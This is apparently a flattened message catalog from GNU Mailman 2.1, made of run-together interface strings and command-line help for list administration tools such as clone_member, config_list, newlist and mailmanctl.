verification to the new address, it does not send out a welcome message, etc.

The existing member's subscription is usually not modified in any way.  If you
want to remove the old address, use the -r flag.  If you also want to change
any list admin addresses, use the -a flag.

Usage:
    clone_member [options] fromoldaddr tonewaddr

Where:

    --listname=listname
    -l listname
        Check and modify only the named mailing lists.  If -l is not given,
        then all mailing lists are scanned from the address.  Multiple -l
        options can be supplied.

    --remove
    -r
        Remove the old address from the mailing list after it's been cloned.

    --admin
    -a
        Scan the list admin addresses for the old address, and clone or change
        them too.

    --quiet
    -q
        Do the modifications quietly.

    --nomodify
    -n
        Print what would be done, but don't actually do it.  Inhibits the
        --quiet flag.

    --help
    -h
        Print this help message and exit.

 fromoldaddr (`from old address') is the old address of the user.  tonewaddr
 (`to new address') is the new address of the user.

Computing threaded index
Conceal the member's addressConfiguration CategoriesConfigure a list from a text file description.

Usage: config_list [options] listname

Options:
    --inputfile filename
    -i filename
        Configure the list by assigning each module-global variable in the
        file to an attribute on the list object, then saving the list.  The
        named file is loaded with execfile() and must be legal Python code.
        Any variable that isn't already an attribute of the list object is
        ignored (a warning message is printed).  See also the -c option.

        A special variable named `mlist' is put into the globals during the
        execfile, which is bound to the actual MailList object.  This lets you
        do all manner of bizarre thing to the list object, but BEWARE!  Using
        this can severely (and possibly irreparably) damage your mailing list!

    --outputfile filename
    -o filename
        Instead of configuring the list, print out a list's configuration
        variables in a format suitable for input using this script.  In this
        way, you can easily capture the configuration settings for a
        particular list and imprint those settings on another list.  filename
        is the file to output the settings to.  If filename is `-', standard
        out is used.

    --checkonly
    -c
        With this option, the modified list is not actually changed.  Only
        useful with -i.

    --verbose
    -v
        Print the name of each attribute as it is being changed.  Only useful
        with -i.

    --help
    -h
        Print this help message and exit.

The options -o and -i are mutually exclusive.

ConfirmConfirm (*) - email confirmation required <br>
                           Require approval - require list administrator
                           approval for subscriptions <br>
                           Confirm and approve - both confirm and approve
                           
                           <p>(*) when someone requests a subscription,
                           Mailman sends them a notice with a unique
                           subscription request number that they must reply to
                           in order to subscribe.<br> This prevents
                           mischievous (or malicious) people from creating
                           subscriptions for others without their consent.Confirm administrator password:Confirm and approveConfirm change of address requestConfirm initial password:Confirm moderator password:Confirm subscription requestConfirm unsubscription requestConfirmation from your email address is required, to prevent anyone from
subscribing you without permission.  Instructions are being sent to you at
%(email)s.  Please note your subscription will not start until you confirm
your subscription.Confirmation string was empty.Confirmation string:Confirmation succeededContent filtered message notificationContent&nbsp;filteringContinue awaiting approvalConvert a list's interpolation strings from %-strings to $-strings.

This script is intended to be run as a bin/withlist script, i.e.

% bin/withlist -l -r convert <mylist>
Could not open file for reading: %(filename)s.Could not open file for writing:Create ListCreate a %(hostname)s Mailing ListCreate a new, unpopulated mailing list.

Usage: %(PROGRAM)s [options] [listname [listadmin-addr [admin-password]]]

Options:

    -l language
    --language=language
        Make the list's preferred language `language', which must be a two
        letter language code.

    -u urlhost
    --urlhost=urlhost
        Gives the list's web interface host name.

    -e emailhost
    --emailhost=emailhost
        Gives the list's email domain name.

    -q/--quiet
        Normally the administrator is notified by email (after a prompt) that
        their list has been created.  This option suppresses the prompt and
        notification.

    -h/--help
        Print this help text and exit.

You can specify as many of the arguments as you want on the command line:
you will be prompted for the missing ones.

Every Mailman list has two parameters which define the default host name for
outgoing email, and the default URL for all web interfaces.  When you
configured Mailman, certain defaults were calculated, but if you are running
multiple virtual Mailman sites, then the defaults may not be appropriate for
the list you are creating.

You also specify the domain to create your new list in by typing the command
like so:

    newlist --urlhost=www.mydom.ain mylist

where `www.mydom.ain' should be the base hostname for the URL to this virtual
hosts's lists.  E.g. with this setting people will view the general list
overviews at http://www.mydom.ain/mailman/listinfo.  Also, www.mydom.ain
should be a key in the VIRTUAL_HOSTS mapping in mm_cfg.py/Defaults.py if
the email hostname to be automatically determined.

If you want the email hostname to be different from the one looked up by the
VIRTUAL_HOSTS or if urlhost is not registered in VIRTUAL_HOSTS, you can specify
`emailhost' like so:

    newlist --urlhost=www.mydom.ain --emailhost=mydom.ain mylist

where `mydom.ain' is the mail domain name. If you don't specify emailhost but
urlhost is not in the virtual host list, then mm_cfg.DEFAULT_EMAIL_HOST will
be used for the email interface.

For backward compatibility, you can also specify the domain to create your
new list in by spelling the listname like so:

    mylist@www.mydom.ain

where www.mydom.ain is used for `urlhost' but it will also be used for
`emailhost' if it is not found in the virtual host table. Note that
'--urlhost' and '--emailhost' have precedence to this notation.

If you spell the list name as just `mylist', then the email hostname will be
taken from DEFAULT_EMAIL_HOST and the url will be taken from DEFAULT_URL (as
defined in your Defaults.py file or overridden by settings in mm_cfg.py).

Note that listnames are forced to lowercase.
Create another listCreating archive directory CroatianCull bad and shunt queues, recommended once per day.

This script goes through the 'bad' and 'shunt' queue directories and,
if mm_cfg.BAD_SHUNT_STALE_AFTER is > 0, it removes all files more than
that many seconds old.

If mm_cfg.BAD_SHUNT_ARCHIVE_DIRECTORY is a writable directory, the old
files are moved there. Otherwise they are deleted.

Only regular files immediately subordinate to the 'bad' and 'shunt'
directories are processed. Anything else is skipped.

Usage: %(PROGRAM)s [options]

Options:
    -h / --help
        Print this message and exit.
CzechDailyDanishDatabase Updated...DecDecemberDefault language for this list.Default options for new members joining this list.<input
             type="hidden" name="new_member_options" value="ignore">DeferDeleteDelete this listDelete this mailing listDelivered by Mailman<br>version %(version)sDescriptionDescription:Description:  %(description)sDetailed instructions for the administrative databaseDigestDigest FooterDigest HeaderDigest members:Digest optionsDisabledDiscardDiscard all messages marked <em>Defer</em>Discard held messages older than this number of days.
            Use 0 for no automatic discarding.Discard held messages.

Usage:
    discard [options] file ...

Options:
    --help / -h
        Print this help message and exit.

    --quiet / -q
        Don't print status messages.
Discarded held msg #%(id)s for list %(listname)sDiscardsDispatch digests for lists w/pending messages and digest_send_periodic set.

Usage: %(PROGRAM)s [options]

Options:
    -h / --help
        Print this message and exit.

    -l listname
    --listname=listname
        Send the digest for the given list only, otherwise the digests for all
        lists are sent out.
Do not send a copy of a member's own postDowngrade detected, from version %(hexlversion)s to version %(hextversion)s
This is probably not safe.
Exiting.Dry run modeDump the contents of any Mailman `database' file.

Usage: %(PROGRAM)s [options] filename

Options:

    --marshal/-m
        Assume the file contains a Python marshal, overridding any automatic
        guessing.

    --pickle/-p
        Assume the file contains a Python pickle, overridding any automatic
        guessing.

    --noprint/-n
        Don't attempt to pretty print the object.  This is useful if there's
        some problem with the object and you just want to get an unpickled
        representation.  Useful with `python -i bin/dumpdb <file>'.  In that
        case, the root of the tree will be left in a global called "msg".

    --help/-h
        Print this help message and exit

If the filename ends with `.db', then it is assumed that the file contains a
Python marshal.  If the file ends with `.pck' then it is assumed to contain a
Python pickle.  In either case, if you want to override the default assumption
-- or if the file ends in neither suffix -- use the -p or -m flags.
DutchEach header filter rule has two parts, a list of regular
             expressions, one per line, and an action to take.  Mailman
             matches the message's headers against every regular expression in
             the rule and if any match, the message is rejected, held, or
             discarded based on the action you specify.  Use <em>Defer</em> to
             temporarily disable a rule.

             You can have more than one filter rule for your list.  In that
             case, each rule is matched in turn, with processing stopped after
             the first match.

             Note that headers are collected from all the attachments 
             (except for the mailman administrivia message) and
             matched against the regular expressions. With this feature,
             you can effectively sort out messages with dangerous file
             types or file name extensions.Each list member has a <em>moderation flag</em> which says
             whether messages from the list member can be posted directly to
             the list, or must first be approved by the list moderator.  When
             the moderation flag is turned on, list member postings must be
             approved first.  You, the list administrator can decide whether a
             specific individual's postings will be moderated or not.

             <p>When a new member is subscribed, their initial moderation flag
             takes its value from this option.  Turn this option off to accept
             member postings by default.  Turn this option on to, by default,
             moderate member postings first.  You can always manually set an
             individual member's moderation bit by using the
             <a href="%(adminurl)s/members">membership management
             screens</a>.Each subscriber is assigned a bounce score, as a floating
             point number.  Whenever Mailman receives a bounce from a list
             member, that member's score is incremented.  Hard bounces (fatal
             errors) increase the score by 1, while soft bounces (temporary
             errors) increase the score by 0.5.  Only one bounce per day
             counts against a member's score, so even if 10 bounces are
             received for a member on the same day, their score will increase
             by just 1.

             This variable describes the upper limit for a member's bounce
             score, above which they are automatically disabled, but not
             removed from the mailing list.Each topic keyword is actually a regular expression, which is
             matched against certain parts of a mail message, specifically the
             <code>Keywords:</code> and <code>Subject:</code> message headers.
             Note that the first few lines of the body of the message can also
             contain a <code>Keywords:</code> and <code>Subject:</code>
             "header" on which matching is also performed.Edit HTML : ErrorEdit OptionsEdit the public HTML pages and text filesEmail My Password To MeEmail address:Emergency hold on all list traffic is in effectEmergency moderation of all list traffic is enabledEmergency moderation of all list traffic.Empty list passwords are not allowedEnabledEncode the
             <a href="?VARHELP=general/subject_prefix">subject
             prefix</a> even when it consists of only ASCII characters?End of English (USA)Enter confirmation cookieEnter new administrator password:Enter new moderator password:Enter one address per line below...Enter the email of the person running the list: Enter the name of the list: ErrorError Unsubscribing:Error inviting:Error opening list "%(listname)s", skipping.
%(e)sError opening list %(listname)s... skipping.Error subscribing:Error: EstonianEuskaraExplicit <tt>Reply-To:</tt> header.Explicit addressExport an XML representation of a mailing list.FAQ 4.48.FebFebruaryFilter out duplicate messages to list members (if possible)Filter rules to match against the headers of a message.FinalizingFind member %(link)s:FinnishFirstFix the MM2.1b4 archives.

Usage: %(PROGRAM)s [options] file ...

Where options are:
    -h / --help
        Print this help message and exit.

Only use this to `fix' some archive database files that may have gotten
written in Mailman 2.1b4 with some bogus data.  Use like this from your
$PREFIX directory

%% %(PROGRAM)s `grep -l _mlist archives/private/*/database/*-article`

(note the backquotes are required)

You will need to run `bin/check_perms -f' after running this script.
Fixing language templates: %(listname)sFooter added to every digestFooter added to mail sent to regular list membersFor some reason, %(mbox_dir)s exists as a file.  This won't work with
b6, so I'm renaming it to %(mbox_dir)s.tmp and proceeding.For some unknown reasonForward messages (individually) to:Forward of moderated messageForward to List OwnerForwarding optionsFourthFrenchFriFrom:From: %(sender)s on %(date)s
Subject: %(subject)s
Cause: %(reason)sFull PersonalizationFundamental list characteristics, including descriptive
            info and basic behaviors.GalicianGeneral OptionsGeneral list information pageGeneral list personalityGenerate binary message catalog from textual translation description.

This program converts a textual Uniforum-style message catalog (.po file) into
a binary GNU catalog (.mo file).  This is essentially the same function as the
GNU msgfmt program, however, it is a simpler implementation.

Usage: msgfmt.py [OPTIONS] filename.po

Options:
    -o file
    --output-file=file
        Specify the output file to write to.  If omitted, output will go to a
        file named filename.mo (based off the input file name).

    -h
    --help
        Print this message and exit.

    -V
    --version
        Display version information and exit.
GermanGnu's Not UnixGo to list archivesGo to the general list information pageGzip'd Text%(sz)sHTML Unchanged.HTML attachment scrubbed and removedHTML successfully updated.Header added to every digestHeader added to mail sent to regular list membersHeader filter rules require a pattern.
                Incomplete filter rules will be ignored.Header filtersHebrewHeld MessagesHide the sender of a message, replacing it with the list
             address (Removes From, Sender and Reply-To fields)Hit enter to notify %(listname)s owner...HoldHold posts with header value matching a specified regexp.HoldsHost name this list prefers for email.Hostile address (illegal characters)Hostile address (illegal characters): %(member)sHostile subscription attempt detectedHow big in Kb should a digest be before it gets sent out?How many <em>Your Membership Is Disabled</em> warnings a
             disabled member should get before their address is removed from
             the mailing list.  Set to 0 to immediately remove an address from
             the list once their bounce score exceeds the threshold.  This
             value must be an integer.How many body lines should the topic matcher scan?How often should a new archive volume be started?How often should a new digest volume be started?HungarianIf a posting has this number, or more, of recipients, it is
             held for admin approval.  Use 0 for no ceiling.If you reject this post,<br>please explain (optional):If you reply to this message, keeping the Subject: header intact, Mailman will
discard the held message.  Do this if the message is spam.  If you reply to
this message and include an Approved: header with the list password in it, the
message will be approved for posting to the list.  The Approved: header can
also appear in the first line of the body of the reply.If you supply a password, you must confirm it.If your mailing list's default language uses a non-ASCII
             character set and the prefix contains non-ASCII characters, the
             prefix will always be encoded according to the relevant
             standards.  However, if your prefix contains only ASCII
             characters, you may want to set this option to <em>Never</em> to
             disable prefix encoding.  This can make the subject headers
             slightly more readable for users with mail readers that don't
             properly handle non-ASCII encodings.

             <p>Note however, that if your mailing list receives both encoded
             and unencoded subject headers, you might want to choose <em>As
             needed</em>.  Using this setting, Mailman will not encode ASCII
             prefixes when the rest of the header contains only ASCII
             characters, but if the original header contains non-ASCII
             characters, it will encode the prefix.  This avoids an ambiguity
             in the standards which could cause some mail readers to display
             extra, or missing spaces between the prefix and the original
             header.Ignore  :  %(addr)30sIgnoring changes to deleted member: %(user)sIgnoring held msg w/bad id: %(f)sIgnoring non-held message: %(f)sIgnoring non-text/plain MIME partsIllegal Email Address: %(safeuser)sIllegal email address providedIllegal list name: %(s)sIllegal option: %(opt)sImporting %(module)s...In order to change your membership option, you must
    first log in by giving your %(extra)smembership password in the section
    below.  If you don't remember your membership password, you can have it
    emailed to you by clicking on the button below.  If you just want to
    unsubscribe from this list, click on the <em>Unsubscribe</em> button and a
    confirmation message will be sent to you.

    <p><strong><em>Important:</em></strong> From this point on, you must have
    cookies enabled in your browser, otherwise none of your changes will take
    effect.
    Increment the digest volume number and reset the digest number to one.

Usage: %(PROGRAM)s [options] [listname ...]

Options:

    --help/-h
        Print this message and exit.

The lists named on the command line are bumped.  If no list names are given,
all lists are bumped.
Initial %(listname)s password: Initial list of supported languages.  <p>Note that if you do not
        select at least one initial language, the list will use the server
        default language of %(deflang)sInitial list owner address:Initial list password:Initial list passwords do not matchInject a message from a file into Mailman's incoming queue.

Usage: inject [options] [filename]

Options:

    -h / --help
        Print this text and exit.

    -l listname
    --listname=listname
        The name of the list to inject this message to.  Required.

    -q queuename
    --queue=queuename
        The name of the queue to inject the message to.  The queuename must be
        one of the directories inside the qfiles directory.  If omitted, the
        incoming queue is used.

filename is the name of the plaintext message file to inject.  If omitted,
standard input is used.
InterlinguaInterrupted...Invalid :  %(addr)30sInvalid confirmation string.  It is
            possible that you are attempting to confirm a request for an
            address that has already been unsubscribed.Invalid confirmation string.  Note that confirmation strings expire
approximately %(days)s days after the initial subscription request.  If your
confirmation has expired, please try to re-submit your original request or
message.Invalid options to CGI scriptInvalid options to CGI script.Invalid password schemeInvalid value for property: %(k)sInvalid value for variable: %(property)sInviteIs archive file source for public or private archival?Is qrunner even running?Is the list moderator's approval required for unsubscription
             requests?  (<em>No</em> is recommended)ItalianJanJanuaryJapaneseJulJulyJunJuneKoreanLanguage&nbsp;optionsLanguages supported by this list.Last autoresponse notification for todayLeave the initial password (and confirmation) fields
                blank if you want Mailman to autogenerate the list
                passwords.Legacy anti-spam filtersListList CharacteristicsList Helpbot: %(requestaddr)sList IdentityList Owners:  %(owneraddr)sList admin onlyList all mailing lists.

Usage: %(program)s [options]

Where:

    -a / --advertised
        List only those mailing lists that are publically advertised

    --virtual-host-overview=domain
    -V domain
        List only those mailing lists that are homed to the given virtual
        domain.  This only works if the VIRTUAL_HOST_OVERVIEW variable is
        set.

    -b / --bare
        Displays only the list name, with no description.

    -h / --help
        Print this text and exit.

List all the members of a mailing list.

Usage: %(PROGRAM)s [options] listname

Where:

    --output file
    -o file
        Write output to specified file instead of standard out.

    --regular / -r
        Print just the regular (non-digest) members.

    --digest[=kind] / -d [kind]
        Print just the digest members.  Optional argument can be "mime" or
        "plain" which prints just the digest members receiving that kind of
        digest.

    --nomail[=why] / -n [why]
        Print the members that have delivery disabled.  Optional argument can
        be "byadmin", "byuser", "bybounce", or "unknown" which prints just the
        users who have delivery disabled for that reason.  It can also be
        "enabled" which prints just those member for whom delivery is
        enabled.

    --fullnames / -f
        Include the full names in the output.

    --preserve / -p
        Output member addresses case preserved the way they were added to the
        list.  Otherwise, addresses are printed in all lowercase.

    --invalid / -i
        Print only the addresses in the membership list that are invalid.
        Ignores -r, -d, -n.

    --unicode / -u
        Print addresses which are stored as Unicode objects instead of normal
        string objects.  Ignores -r, -d, -n.

    --help
    -h
        Print this help message and exit.

    listname is the name of the mailing list to use.

Note that if neither -r or -d is supplied, both regular members are printed
first, followed by digest members, but no indication is given as to address
status.
List all the owners of a mailing list.

Usage: %(program)s [options] listname ...

Where:

    --all-vhost=vhost
    -v=vhost
        List the owners of all the mailing lists for the given virtual host.

    --all
    -a
        List the owners of all the mailing lists on this system.

    --help
    -h
        Print this help message and exit.

`listname' is the name of the mailing list to print the owners of.  You can
have more than one named list on the command line.
List already exists: %(listname)sList already exists: %(safelistname)sList creator's (authentication) password:List membersList moderators (and list administrators) are sent daily
             reminders of requests pending approval, like subscriptions to a
             moderated list, or postings that are being held for one reason or
             another.  Setting this option causes notices to be sent
             immediately on the arrival of new requests as well.List my other subscriptionsList name is requiredList name is required.List name must not include "@": %(safelistname)sList name:    %(listname)sList of addresses which are banned from membership in this
             mailing list.List of non-member addresses whose postings should be
             automatically accepted.List of non-member addresses whose postings will be
             automatically discarded.List of non-member addresses whose postings will be
             automatically rejected.List of non-member addresses whose postings will be
             immediately held for moderation.List password:List subscriptions for %(safeuser)s on %(hostname)sList the owners of a mailing list, or all mailing lists.

Usage: %(PROGRAM)s [options] [listname ...]
Options:

    -w / --with-listnames
        Group the owners by list names and include the list names in the
        output.  Otherwise, the owners will be sorted and uniquified based on
        the email address.

    -m / --moderators
        Include the list moderators in the output.

    -h / --help
        Print this help message and exit.

    listname
        Print the owners of the specified lists.  More than one can appear
        after the options.  If there are no listnames provided, the owners of
        all the lists will be displayed.
List the supported password hashing schemes and exit.  The scheme labels are
case-insensitive.List topic keywordsList traffic archival policies.List-specific text prepended to new-subscriber welcome
             messageList:List: %(listname)s, 	Owners: %(owners)sLithuanianLoading list %(listname)sLog inLog outLogoutMIMEMail deliveryMail&lt;-&gt;News&nbsp;gatewaysMail-to-News and News-to-Mail gateway services.Mailing list creation request for list %(listname)sMailing list creation resultsMailing list deletion resultsMailing list removal request for list %(listname)sMailmanMailman %(varname)s List Option HelpMailman Administrative Database ErrorMailman prefixes <tt>Subject:</tt> headers with
             <a href="?VARHELP=general/subject_prefix">text you can
             customize</a> and normally, this prefix shows up in messages
             gatewayed to Usenet.  You can set this option to <em>No</em> to
             disable the prefix on gated messages.  Of course, if you turn off
             normal <tt>Subject:</tt> prefixes, they won't be prefixed for
             gated messages either.Mailman privacy alertMailman won't accept the given email address as a valid address.
(E.g. it must have an @ in it.)Make your changes in the following section, then submit them
        using the <em>Submit Your Changes</em> button below.Many (in fact, most) spams do not explicitly name their
             myriad destinations in the explicit destination addresses - in
             fact often the To: field has a totally bogus address for
             obfuscation.  The constraint applies only to the stuff in the
             address before the '@' sign, but still catches all such spams.

             <p>The cost is that the list will not accept unhindered any
             postings relayed from other addresses, unless

             <ol>
                 <li>The relaying address has the same name, or

                 <li>The relaying address name is included on the options that
                 specifies acceptable aliases for the list.

             </ol>MarMarchMass RemovalsMass SubscriptionsMass catch upMass catchup completedMass&nbsp;RemovalMass&nbsp;SubscriptionMaximum length in kilobytes (KB) of a message body.  Use 0
             for no limit.Maximum number of members to show on one page of the
             Membership List.MayMember filtersMember name successfully changed. Membership ListMembership exposureMembership re-enabled.Membership&nbsp;ListMembership&nbsp;Management...Message Excerpt:Message Headers:Message body is too big: %(size)d bytes with a limit of
%(limit)d KBMessage has a suspicious headerMessage has implicit destinationMessage may contain administriviaMessage rejected by filter rule matchModeratedModeratorModerator passwords did not matchMonMonthlyMore information: %(listurl)sMove rule downMove rule upMust have a listname and a filenameMust posts have list named in destination (to, cc) field
             (or be among the acceptable alias names, specified below)?Name of list:Name:Natural language (internationalization) options.NeverNew %(listname)s password: %(notifypassword)sNew %(pwdesc)s password: New password for member %(member)40s: %(randompw)sNew subscription request to list %(realname)s from %(addr)sNew unsubscription request from %(realname)s by %(addr)sNews server settingsNext message:NoNo address givenNo argument to -f givenNo child with pid: %(pid)sNo command given.No commands were found in this message.
To obtain instructions, send a message containing just the word "help".
No filename given.No list name supplied.No list named:No listname givenNo lists to searchNo matching mailing lists foundNo one can subscribe to the digest of this list!No problems foundNo reason givenNo runner name given.No subjectNo such list "%(listname)s"
%(e)sNo such list (or list already deleted): %(listname)sNo such list <em>%(safelistname)s</em>No such list: %(listname)sNo such list: %(listname)s.  Removing its residual archives.No such member: %(addr)sNo such member: %(safeuser)s.No updates are necessary.No valid address found to subscribeNo valid variable name found.Non-digest (regular) members:Non-digest&nbsp;optionsNon-member filtersNon-members are not allowed to post messages to this list.Non-standard property restored: %(k)sNoneNone - no verification steps (<em>Not
                           Recommended </em>)<br>
                           Confirm (*) - email confirmation step required <br>
                           Require approval - require list administrator
                           Approval for subscriptions <br>
                           Confirm and approve - both confirm and approve
                           
                           <p>(*) when someone requests a subscription,
                           Mailman sends them a notice with a unique
                           subscription request number that they must reply to
                           in order to subscribe.<br>

                           This prevents mischievous (or malicious) people
                           from creating subscriptions for others without
                           their consent.Normally, Mailman sends the regular delivery messages to
                 the mail server in batches.  This is much more efficent
                 because it reduces the amount of traffic between Mailman and
                 the mail server.

                 <p>However, some lists can benefit from a more personalized
                 approach.  In this case, Mailman crafts a new message for
                 each member on the regular delivery list.  Turning this
                 feature on may degrade the performance of your site, so you
                 need to carefully consider whether the trade-off is worth it,
                 or whether there are other ways to accomplish what you want.
                 You should also carefully monitor your system load to make
                 sure it is acceptable.

                 <p>Select <em>No</em> to disable personalization and send
                 messages to the members in batches.  Select <em>Yes</em> to
                 personalize deliveries and allow additional substitution
                 variables in message headers and footers (see below).  In
                 addition, by selecting <em>Full Personalization</em>, the
                 <code>To</code> header of posted messages will be modified to
                 include the member's address instead of the list's posting
                 address.

                 <p>When personalization is enabled, a few more expansion
                 variables that can be included in the <a
                 href="?VARHELP=nondigest/msg_header">message header</a> and
                 <a href="?VARHELP=nondigest/msg_footer">message footer</a>.

                 <p>These additional substitution variables will be available
                 for your headers and footers, when this feature is enabled:

                 <ul><li><b>user_address</b> - The address of the user,
                         coerced to lower case.
                     <li><b>user_delivered_to</b> - The case-preserved address
                         that the user is subscribed with.
                     <li><b>user_password</b> - The user's password.
                     <li><b>user_name</b> - The user's full name.
                     <li><b>user_optionsurl</b> - The url to the user's option
                         page.
                 </ul>
                 NorwegianNot a valid email address: %(toaddr)sNot authenticatedNot removing archives.  Reinvoke with -a to remove them.Not subscribedNote: Note: Since this is a list of mailing lists, administrative
notices like the password reminder will be sent to
your membership administrative address, %(addr)s.Note: your list delivery is currently disabled%(reason)s.Nothing to do.Notice: %(discarded)d old request(s) automatically expired.

NotificationsNovNovemberNumber of days between auto-responses to either the mailing
             list or -request/-owner address from the same poster.  Set to
             zero (or negative) for no grace period (i.e. auto-respond to
             every message).OctOctoberOffOkay, the list moderator will still have the
    opportunity to approve or reject this message.OnOnce a month, your password will be emailed to you as a reminder.One of -i or -o is requiredOne of these actions is taken when the message matches one of
             the content filtering rules, meaning, the top-level
             content type matches one of the <a
             href="?VARHELP=contentfilter/filter_mime_types"
             >filter_mime_types</a>, or the top-level content type does
             <strong>not</strong> match one of the
             <a href="?VARHELP=contentfilter/pass_mime_types"
             >pass_mime_types</a>, or if after filtering the subparts of the
             message, the message ends up empty.

             <p>Note this action is not taken if after filtering the message
             still contains content.  In that case the message is always
             forwarded on to the list membership.

             <p>When messages are discarded, a log entry is written
             containing the Message-ID of the discarded message.  When
             messages are rejected or forwarded to the list owner, a reason
             for the rejection is included in the bounce message to the
             original author.  When messages are preserved, they are saved in
             a special queue directory on disk for the site administrator to
             view (and possibly rescue) but otherwise discarded.  This last
             option is only available if enabled by the site
             administrator.Only one -f switch allowedOnly one of -i or -o is allowedOpen list, moderated groupOriginal MessageOther Administrative ActivitiesOther mailing lists on this site whose members are
             excluded from the regular (non-digest) delivery if those
             list addresses appear in a To: or Cc: header.Other mailing lists on this site whose members are
             included in the regular (non-digest) delivery if those
             list addresses don't appear in a To: or Cc: header.Output XML to FILENAME.  If not given, or if FILENAME is '-', standard out is
used.Overview of all %(hostname)s mailing listsPID unreadable in: %(pidfile)sPage Unchanged.Password // URLPassword change failed.Password changed.Password reminderPassword successfully changed.Password:Password: PasswordsPasswords did not match!Passwords do not match; no changes made.Passwords may not be blankPattern (as regexp):Pending subscriptions:Perform all necessary upgrades.

Usage: %(PROGRAM)s [options]

Options:
    -f/--force
        Force running the upgrade procedures.  Normally, if the version number
        of the installed Mailman matches the current version number (or a
        `downgrade' is detected), nothing will be done.

    -h/--help
        Print this text and exit.

Use this script to help you update to the latest release of Mailman from
some previous version.  It knows about versions back to 1.0b4 (?).
Permanently ban from this listPermanently remove mailing list <em>%(realname)s</em>Pickling archive state into PlainPlease do *not* post administrative requests to the mailing
list.  If you wish to subscribe, visit %(listurl)s or send a message with the
word `help' in it to the request address, %(request)s, for further
instructions.Please enter the confirmation string
    (i.e. <em>cookie</em>) that you received in your email message, in the box
    below.  Then hit the <em>Submit</em> button to proceed to the next
    confirmation step.Please specify either -p or -m.Please trim the recipient list; it is too long.Policies concerning immediately delivered list traffic.Policies concerning the content of list traffic.

            <p>Content filtering works like this: when a message is
            received by the list and you have enabled content filtering, the
            individual attachments are first compared to the
            <a href="?VARHELP=contentfilter/filter_mime_types">filter
            types</a>.  If the attachment type matches an entry in the filter
            types, it is discarded.

            <p>Then, if there are <a
            href="?VARHELP=contentfilter/pass_mime_types">pass types</a>
            defined, any attachment type that does <em>not</em> match a
            pass type is also discarded.  If there are no pass types defined,
            this check is skipped.

            <p>After this initial filtering, any <tt>multipart</tt>
            attachments that are empty are removed.  If the outer message is
            left empty after this filtering, then the whole message is
            discarded.

            <p> Then, each <tt>multipart/alternative</tt> section will
            be replaced by just the first alternative that is non-empty after
            filtering if
            <a href="?VARHELP=contentfilter/collapse_alternatives"
            >collapse_alternatives</a> is enabled.

            <p>Finally, any <tt>text/html</tt> parts that are left in the
            message may be converted to <tt>text/plain</tt> if
            <a href="?VARHELP=contentfilter/convert_html_to_plaintext"
            >convert_html_to_plaintext</a> is enabled and the site is
            configured to allow these conversions.PolishPoll the NNTP servers for messages to be gatewayed to mailing lists.

Usage: gate_news [options]

Where options are

    --help
    -h
        Print this text and exit.

PortuguesePortuguese (Brazil)Post by non-member to a members-only listPost to moderated listPosted message canceledPosterPosting Held for ApprovalPosting of your message titled "%(subject)s"Posting to a moderated newsgroupPosting to a restricted list by sender requires approvalPostings from any of these non-members will be automatically
             accepted with no further moderation applied.  Add member
             addresses one per line; start the line with a ^ character to
             designate a regular expression match.  A line consisting of
             the @ character followed by a list name specifies another
             Mailman list in this installation, all of whose member
             addresses will be accepted for this list.Postings from any of these non-members will be automatically
             discarded.  That is, the message will be thrown away with no
             further processing or notification.  The sender will not receive
             a notification or a bounce, however the list moderators can
             optionally <a href="?VARHELP=privacy/sender/forward_auto_discards"
             >receive copies of auto-discarded messages.</a>.

             <p>Add member addresses one per line; start the line with a ^
             character to designate a regular expression match.Postings from any of these non-members will be automatically
             rejected.  In other words, their messages will be bounced back to
             the sender with a notification of automatic rejection.  This
             option is not appropriate for known spam senders; their messages
             should be
             <a href="?VARHELP=privacy/sender/discard_these_nonmembers"
             >automatically discarded</a>.

             <p>Add member addresses one per line; start the line with a ^
             character to designate a regular expression match.Postings from any of these non-members will be immediately
             and automatically held for moderation by the list moderators.
             The sender will receive a notification message which will allow
             them to cancel their held message.  Add member addresses one per
             line; start the line with a ^ character to designate a regular
             expression match.Postings to:  %(postaddr)sPreferred language:Prefix <tt>Subject:</tt> headers on postings gated to news?Prefix for subject line of list postings.PreservePreserve message for site administratorPreserve messages for the site administratorPrevious message:Primary start-up and shutdown script for Mailman's qrunner daemon.

This script starts, stops, and restarts the main Mailman queue runners, making
sure that the various long-running qrunners are still alive and kicking.  It
does this by forking and exec'ing the qrunners and waiting on their pids.
When it detects a subprocess has exited, it may restart it.

The qrunners respond to SIGINT, SIGTERM, and SIGHUP.  SIGINT and SIGTERM both
cause the qrunners to exit cleanly, but the master will only restart qrunners
that have exited due to a SIGINT.  SIGHUP causes the master and the qrunners
to close their log files, and reopen then upon the next printed message.

The master also responds to SIGINT, SIGTERM, and SIGHUP, which it simply
passes on to the qrunners (note that the master will close and reopen its own
log files on receipt of a SIGHUP).  The master also leaves its own process id
in the file data/master-qrunner.pid but you normally don't need to use this
pid directly.  The `start', `stop', `restart', and `reopen' commands handle
everything for you.

Usage: %(PROGRAM)s [options] [ start | stop | restart | reopen ]

Options:

    -n/--no-restart
        Don't restart the qrunners when they exit because of an error or a
        SIGINT.  They are never restarted if they exit in response to a
        SIGTERM.  Use this only for debugging.  Only useful if the `start'
        command is given.

    -u/--run-as-user
        Normally, this script will refuse to run if the user id and group id
        are not set to the `mailman' user and group (as defined when you
        configured Mailman).  If run as root, this script will change to this
        user and group before the check is made.

        This can be inconvenient for testing and debugging purposes, so the -u
        flag means that the step that sets and checks the uid/gid is skipped,
        and the program is run as the current user and group.  This flag is
        not recommended for normal production environments.

        Note though, that if you run with -u and are not in the mailman group,
        you may have permission problems, such as begin unable to delete a
        list's archives through the web.  Tough luck!

    -s/--stale-lock-cleanup
        If mailmanctl finds an existing master lock, it will normally exit
        with an error message.  With this option, mailmanctl will perform an
        extra level of checking.  If a process matching the host/pid described
        in the lock file is running, mailmanctl will still exit, but if no
        matching process is found, mailmanctl will remove the apparently stale
        lock and make another attempt to claim the master lock.

    -q/--quiet
        Don't print status messages.  Error messages are still printed to
        standard error.

    -h/--help
        Print this message and exit.

Commands:

    start   - Start the master daemon and all qrunners.  Prints a message and
              exits if the master daemon is already running.

    stop    - Stops the master daemon and all qrunners.  After stopping, no
              more messages will be processed.

    restart - Restarts the qrunners, but not the master process.  Use this
              whenever you upgrade or update Mailman so that the qrunners will
              use the newly installed code.

    reopen  - This will close all log files, causing them to be re-opened the
              next time a message is written to them
Print the Mailman version.
Privacy options...Private Archive ErrorPrivate Archive Error - %(msg)sPrivate archive - "./" and "../" not allowed in URL.Private archive file not foundProblems found:Process disabled members, recommended once per day.

This script cruises through every mailing list looking for members whose
delivery is disabled.  If they have been disabled due to bounces, they will
receive another notification, or they may be removed if they've received the
